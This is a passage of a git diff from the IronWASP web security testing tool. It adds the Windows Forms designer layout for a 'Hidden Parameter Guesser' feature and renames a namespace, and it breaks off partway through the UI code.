LlcBN/o2ApPO/BrfRgitIQIQKDaN+Cn4LSYiRT4CRwQgbK4D/uTx969BinwEjQhAwFjPOwo/xUTWYry/ + 78cgtIEIQPj8DbjSw+9egRT5CB4RgMCxHngU6RYT6UdKfOUCEYB8cCfw6xR/7zLMzj8hcEQAcoD1xKNJ + p5jIaqTEV24QAcgPaRUTOR9z6k/IASIAOcF65DHAygR/ZgUwRrx/fhAByBHVcnEJyWbj6a2Wiw/5vk8h + PkQA8kcPyRQTkSIfOUQEIGdUy8VHgV8m0PU0KfKRP0QA8skk4NkY+1uGKVAi5AwRgBxSLRefAabG2OUU + KfKRT0QA8svPiaeYyOOYwiRCDhEByCm2mMjEGLqSIh85RgQg35wDPNLG96XIR84RAcgx1XLxZWBsG11I + kY+cIwKQf2YCD7TwvfuB2b6NF5JFBCDnVMvFVbRWTOQ0+10hx4gAdAYX01wxkbuAub6NFpJHBKADsMVE + RjfxldFS5KMzEAHoHH5DY8VEbgfm+TZWSAcRgA6hwWIiAxjvL2m+OwQRgM7iKuCmOu03AFf7NlJIDxGA + DmJQGvEoDz8AjBLv31ls4tsAIXWuA7aPuH4T8JRv4wRBEARBEARBEARBEARBEARBEARBEARBEARBEARB + EARBEARBEARBEIQI/h+hEP2A1kjQfgAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/IronWASP/Hawas/Hawas.cs b/Iron/Hawas/Hawas.cs similarity index 96% rename from IronWASP/Hawas/Hawas.cs rename to Iron/Hawas/Hawas.cs index d7ea2c7..b124871 100644 --- a/IronWASP/Hawas/Hawas.cs +++ b/Iron/Hawas/Hawas.cs @@ -20,7 +20,7 @@ using System.Collections.Generic; using System.Text; -namespace IronWASP +namespace IronWASP.Hawas { public class Hawas { diff --git a/Iron/Hawas/HiddenParameterGuesser.Designer.cs b/Iron/Hawas/HiddenParameterGuesser.Designer.cs new file mode 100644 index 0000000..4b9bd7d --- /dev/null +++ b/Iron/Hawas/HiddenParameterGuesser.Designer.cs @@ -0,0 +1,1399 @@ +namespace IronWASP.Hawas +{ + partial class HiddenParameterGuesser + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(HiddenParameterGuesser)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.ConfigurePanel = new System.Windows.Forms.Panel(); + this.SelectParamsNoneLL = new System.Windows.Forms.LinkLabel(); + this.SelectParamsAllLL = new System.Windows.Forms.LinkLabel(); + this.SelectParamsOptimallyLL = new System.Windows.Forms.LinkLabel(); + this.ShowDocLL = new System.Windows.Forms.LinkLabel(); + this.label3 = new System.Windows.Forms.Label(); + this.RecordingSelectBox = new System.Windows.Forms.ComboBox(); + this.FindCandidatesBtn = new System.Windows.Forms.Button(); + this.HostnamesScopeTree = new System.Windows.Forms.TreeView(); + this.label2 = new System.Windows.Forms.Label(); + this.ParametersGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.Column2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.Column3 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.Column4 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label1 = new System.Windows.Forms.Label(); + this.label5 = new System.Windows.Forms.Label(); + this.FileTypesScopeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ConfigureProgressBar = new System.Windows.Forms.ProgressBar(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.CandidatesBaseSplit = new System.Windows.Forms.SplitContainer(); + this.label4 = new System.Windows.Forms.Label(); + this.TestCandidatesBtn = new System.Windows.Forms.Button(); + this.CandidatesProgressBar = new System.Windows.Forms.ProgressBar(); + this.CandidatesBottomSplit = new System.Windows.Forms.SplitContainer(); + this.FilterTree = new System.Windows.Forms.TreeView(); + this.CandidatesLogSplit = new System.Windows.Forms.SplitContainer(); + this.CandidatesGrid = new System.Windows.Forms.DataGridView(); + this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameSelectClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MethodClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.URLClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.FileClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SSLClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ParametersClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ClmnMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SetCookieClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.NotesClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.ResultBaseSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsTopSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsProgressBar = new System.Windows.Forms.ProgressBar(); + this.label6 = new System.Windows.Forms.Label(); + this.ResultsGrid = new System.Windows.Forms.DataGridView(); + this.IDClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestedUrlClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalVsTestClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ParamNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ParamSectionClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ParamValueClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalRequestBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalResponseBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestRequestBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestResponseBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResultsBottomTabs = new System.Windows.Forms.TabControl(); + this.tabPage11 = new System.Windows.Forms.TabPage(); + this.tabControl5 = new System.Windows.Forms.TabControl(); + this.tabPage22 = new System.Windows.Forms.TabPage(); + this.tabPage19 = new System.Windows.Forms.TabPage(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.tabControl3 = new System.Windows.Forms.TabControl(); + this.tabPage16 = new System.Windows.Forms.TabPage(); + this.tabPage15 = new System.Windows.Forms.TabPage(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.LogDisplayTabs = new System.Windows.Forms.TabControl(); + this.tabPage29 = new System.Windows.Forms.TabPage(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.SessView = new IronWASP.SessionView(); + this.OriginalVsTestResponseDRV = new IronWASP.DiffResultView(); + this.OriginalVsTestRequestDRV = new IronWASP.DiffResultView(); + this.TestResponseView = new IronWASP.ResponseView(); + this.TestRequestView = new IronWASP.RequestView(); + this.OriginalResponseView = new IronWASP.ResponseView(); + this.OriginalRequestView = new IronWASP.RequestView(); + this.BaseTabs.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.ConfigurePanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ParametersGrid)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.FileTypesScopeGrid)).BeginInit(); + this.tabPage2.SuspendLayout(); + this.CandidatesBaseSplit.Panel1.SuspendLayout(); + this.CandidatesBaseSplit.Panel2.SuspendLayout(); + this.CandidatesBaseSplit.SuspendLayout(); + this.CandidatesBottomSplit.Panel1.SuspendLayout(); + this.CandidatesBottomSplit.Panel2.SuspendLayout(); + this.CandidatesBottomSplit.SuspendLayout(); + this.CandidatesLogSplit.Panel1.SuspendLayout(); + this.CandidatesLogSplit.Panel2.SuspendLayout(); + this.CandidatesLogSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CandidatesGrid)).BeginInit(); + this.tabPage3.SuspendLayout(); + this.ResultBaseSplit.Panel1.SuspendLayout(); + this.ResultBaseSplit.Panel2.SuspendLayout(); + this.ResultBaseSplit.SuspendLayout(); + this.ResultsTopSplit.Panel1.SuspendLayout(); + this.ResultsTopSplit.Panel2.SuspendLayout(); + this.ResultsTopSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResultsGrid)).BeginInit(); + this.ResultsBottomTabs.SuspendLayout(); + this.tabPage11.SuspendLayout(); + this.tabControl5.SuspendLayout(); + this.tabPage22.SuspendLayout(); + this.tabPage19.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.tabControl3.SuspendLayout(); + this.tabPage16.SuspendLayout(); + this.tabPage15.SuspendLayout(); + this.tabPage7.SuspendLayout(); + this.LogDisplayTabs.SuspendLayout(); + this.tabPage29.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.tabPage1); + this.BaseTabs.Controls.Add(this.tabPage2); + this.BaseTabs.Controls.Add(this.tabPage3); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(884, 561); + this.BaseTabs.TabIndex = 1; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // tabPage1 + // + this.tabPage1.BackColor = System.Drawing.Color.White; + this.tabPage1.Controls.Add(this.ConfigurePanel); + this.tabPage1.Controls.Add(this.ConfigureProgressBar); + this.tabPage1.Location = new System.Drawing.Point(4, 25); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(876, 532); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " Configure "; + // + // ConfigurePanel + // + this.ConfigurePanel.Controls.Add(this.SelectParamsNoneLL); + this.ConfigurePanel.Controls.Add(this.SelectParamsAllLL); + this.ConfigurePanel.Controls.Add(this.SelectParamsOptimallyLL); + this.ConfigurePanel.Controls.Add(this.ShowDocLL); + this.ConfigurePanel.Controls.Add(this.label3); + this.ConfigurePanel.Controls.Add(this.RecordingSelectBox); + this.ConfigurePanel.Controls.Add(this.FindCandidatesBtn); + this.ConfigurePanel.Controls.Add(this.HostnamesScopeTree); + this.ConfigurePanel.Controls.Add(this.label2); + this.ConfigurePanel.Controls.Add(this.ParametersGrid); + this.ConfigurePanel.Controls.Add(this.label1); + this.ConfigurePanel.Controls.Add(this.label5); + this.ConfigurePanel.Controls.Add(this.FileTypesScopeGrid); + this.ConfigurePanel.Location = new System.Drawing.Point(0, 38); + this.ConfigurePanel.Name = "ConfigurePanel"; + this.ConfigurePanel.Size = new System.Drawing.Size(876, 494); + this.ConfigurePanel.TabIndex = 1; + // + // SelectParamsNoneLL + // + this.SelectParamsNoneLL.AutoSize = true; + this.SelectParamsNoneLL.Location = new System.Drawing.Point(461, 59); + this.SelectParamsNoneLL.Name = "SelectParamsNoneLL"; + this.SelectParamsNoneLL.Size = new System.Drawing.Size(63, 13); + this.SelectParamsNoneLL.TabIndex = 43; + this.SelectParamsNoneLL.TabStop = true; + this.SelectParamsNoneLL.Text = "Unselect All"; + this.SelectParamsNoneLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SelectParamsNoneLL_LinkClicked); + // + // SelectParamsAllLL + // + this.SelectParamsAllLL.AutoSize = true; + this.SelectParamsAllLL.Location = new System.Drawing.Point(387, 59); + this.SelectParamsAllLL.Name = "SelectParamsAllLL"; + this.SelectParamsAllLL.Size = new System.Drawing.Size(51, 13); + this.SelectParamsAllLL.TabIndex = 42; + this.SelectParamsAllLL.TabStop = true; + this.SelectParamsAllLL.Text = "Select All"; + this.SelectParamsAllLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SelectParamsAllLL_LinkClicked); + // + // SelectParamsOptimallyLL + // + this.SelectParamsOptimallyLL.AutoSize = true; + this.SelectParamsOptimallyLL.Location = new System.Drawing.Point(207, 59); + this.SelectParamsOptimallyLL.Name = "SelectParamsOptimallyLL"; + this.SelectParamsOptimallyLL.Size = new System.Drawing.Size(163, 13); + this.SelectParamsOptimallyLL.TabIndex = 41; + this.SelectParamsOptimallyLL.TabStop = true; + this.SelectParamsOptimallyLL.Text = "Select Optimally [Recommended]"; + this.SelectParamsOptimallyLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SelectParamsOptimallyLL_LinkClicked); + // + // ShowDocLL + // + this.ShowDocLL.AutoSize = true; + this.ShowDocLL.Location = new System.Drawing.Point(13, 28); + this.ShowDocLL.Name = "ShowDocLL"; + this.ShowDocLL.Size = new System.Drawing.Size(122, 13); + this.ShowDocLL.TabIndex = 40; + this.ShowDocLL.TabStop = true; + this.ShowDocLL.Text = "How to use this feature?"; + this.ShowDocLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowDocLL_LinkClicked); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(10, 8); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(698, 13); + this.label3.TabIndex = 39; + this.label3.Text = "The Hidden Parameter Guesser is used to check if adding any special parameter to " + + "a Request unlocks some hidden functionality in the application."; + // + // RecordingSelectBox + // + this.RecordingSelectBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.RecordingSelectBox.FormattingEnabled = true; + this.RecordingSelectBox.Location = new System.Drawing.Point(410, 253); + this.RecordingSelectBox.Name = "RecordingSelectBox"; + this.RecordingSelectBox.Size = new System.Drawing.Size(239, 21); + this.RecordingSelectBox.TabIndex = 38; + // + // FindCandidatesBtn + // + this.FindCandidatesBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FindCandidatesBtn.Location = new System.Drawing.Point(669, 251); + this.FindCandidatesBtn.Name = "FindCandidatesBtn"; + this.FindCandidatesBtn.Size = new System.Drawing.Size(192, 23); + this.FindCandidatesBtn.TabIndex = 36; + this.FindCandidatesBtn.Text = "Find Suitable Candidates"; + this.FindCandidatesBtn.UseVisualStyleBackColor = true; + this.FindCandidatesBtn.Click += new System.EventHandler(this.FindCandidatesBtn_Click); + // + // HostnamesScopeTree + // + this.HostnamesScopeTree.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HostnamesScopeTree.BackColor = System.Drawing.Color.White; + this.HostnamesScopeTree.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.HostnamesScopeTree.CheckBoxes = true; + this.HostnamesScopeTree.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HostnamesScopeTree.Location = new System.Drawing.Point(198, 307); + this.HostnamesScopeTree.Margin = new System.Windows.Forms.Padding(0); + this.HostnamesScopeTree.Name = "HostnamesScopeTree"; + this.HostnamesScopeTree.ShowPlusMinus = false; + this.HostnamesScopeTree.ShowRootLines = false; + this.HostnamesScopeTree.Size = new System.Drawing.Size(452, 182); + this.HostnamesScopeTree.TabIndex = 37; + this.HostnamesScopeTree.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.HostnamesScopeTree_AfterCheck); + this.HostnamesScopeTree.BeforeCollapse += new System.Windows.Forms.TreeViewCancelEventHandler(this.HostnamesScopeTree_BeforeCollapse); + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(10, 256); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(396, 13); + this.label2.TabIndex = 34; + this.label2.Text = "If you want to use a Login Sequence Recording during the testing then select one:" + + ""; + // + // ParametersGrid + // + this.ParametersGrid.AllowUserToDeleteRows = false; + this.ParametersGrid.AllowUserToResizeRows = false; + this.ParametersGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ParametersGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ParametersGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.ParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn2, + this.Column2, + this.Column3, + this.Column4, + this.dataGridViewTextBoxColumn2, + this.Column1}); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.ParametersGrid.DefaultCellStyle = dataGridViewCellStyle2; + this.ParametersGrid.GridColor = System.Drawing.Color.White; + this.ParametersGrid.Location = new System.Drawing.Point(11, 80); + this.ParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.ParametersGrid.MultiSelect = false; + this.ParametersGrid.Name = "ParametersGrid"; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ParametersGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle3; + this.ParametersGrid.RowHeadersVisible = false; + this.ParametersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ParametersGrid.Size = new System.Drawing.Size(850, 159); + this.ParametersGrid.TabIndex = 33; + // + // dataGridViewCheckBoxColumn2 + // + this.dataGridViewCheckBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewCheckBoxColumn2.HeaderText = "ADD PARAMETER TO QUERY"; + this.dataGridViewCheckBoxColumn2.Name = "dataGridViewCheckBoxColumn2"; + this.dataGridViewCheckBoxColumn2.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn2.Width = 114; + // + // Column2 + // + this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Column2.HeaderText = "ADD PARAMETER TO BODY"; + this.Column2.Name = "Column2"; + this.Column2.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.Column2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.Column2.Width = 133; + // + // Column3 + // + this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Column3.HeaderText = "ADD PARAMETER TO COOKIE"; + this.Column3.Name = "Column3"; + this.Column3.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.Column3.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.Column3.Width = 133; + // + // Column4 + // + this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Column4.HeaderText = "ADD PARAMETER TO HEADERS"; + this.Column4.Name = "Column4"; + this.Column4.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.Column4.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.Column4.Width = 133; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn2.HeaderText = "PARAMETER NAME"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.dataGridViewTextBoxColumn2.Width = 103; + // + // Column1 + // + this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Column1.HeaderText = "PARAMETER VALUE"; + this.Column1.Name = "Column1"; + this.Column1.Width = 125; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(11, 59); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(174, 13); + this.label1.TabIndex = 32; + this.label1.Text = "Configure the Parameters to Guess:"; + // + // label5 + // + this.label5.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(8, 283); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(379, 13); + this.label5.TabIndex = 31; + this.label5.Text = "Provide a Scope for finding candidates suitable for Hidden Parameter Guessing"; + // + // FileTypesScopeGrid + // + this.FileTypesScopeGrid.AllowUserToAddRows = false; + this.FileTypesScopeGrid.AllowUserToDeleteRows = false; + this.FileTypesScopeGrid.AllowUserToResizeRows = false; + this.FileTypesScopeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.FileTypesScopeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FileTypesScopeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.FileTypesScopeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FileTypesScopeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn1}); + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.FileTypesScopeGrid.DefaultCellStyle = dataGridViewCellStyle5; + this.FileTypesScopeGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.FileTypesScopeGrid.GridColor = System.Drawing.Color.White; + this.FileTypesScopeGrid.Location = new System.Drawing.Point(8, 307); + this.FileTypesScopeGrid.Margin = new System.Windows.Forms.Padding(0); + this.FileTypesScopeGrid.MultiSelect = false; + this.FileTypesScopeGrid.Name = "FileTypesScopeGrid"; + this.FileTypesScopeGrid.ReadOnly = true; + dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle6.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle6.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle6.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle6.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle6.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle6.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FileTypesScopeGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle6; + this.FileTypesScopeGrid.RowHeadersVisible = false; + this.FileTypesScopeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FileTypesScopeGrid.Size = new System.Drawing.Size(174, 182); + this.FileTypesScopeGrid.TabIndex = 30; + this.FileTypesScopeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FileTypesScopeGrid_CellClick); + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = ""; + this.dataGridViewCheckBoxColumn1.Name = 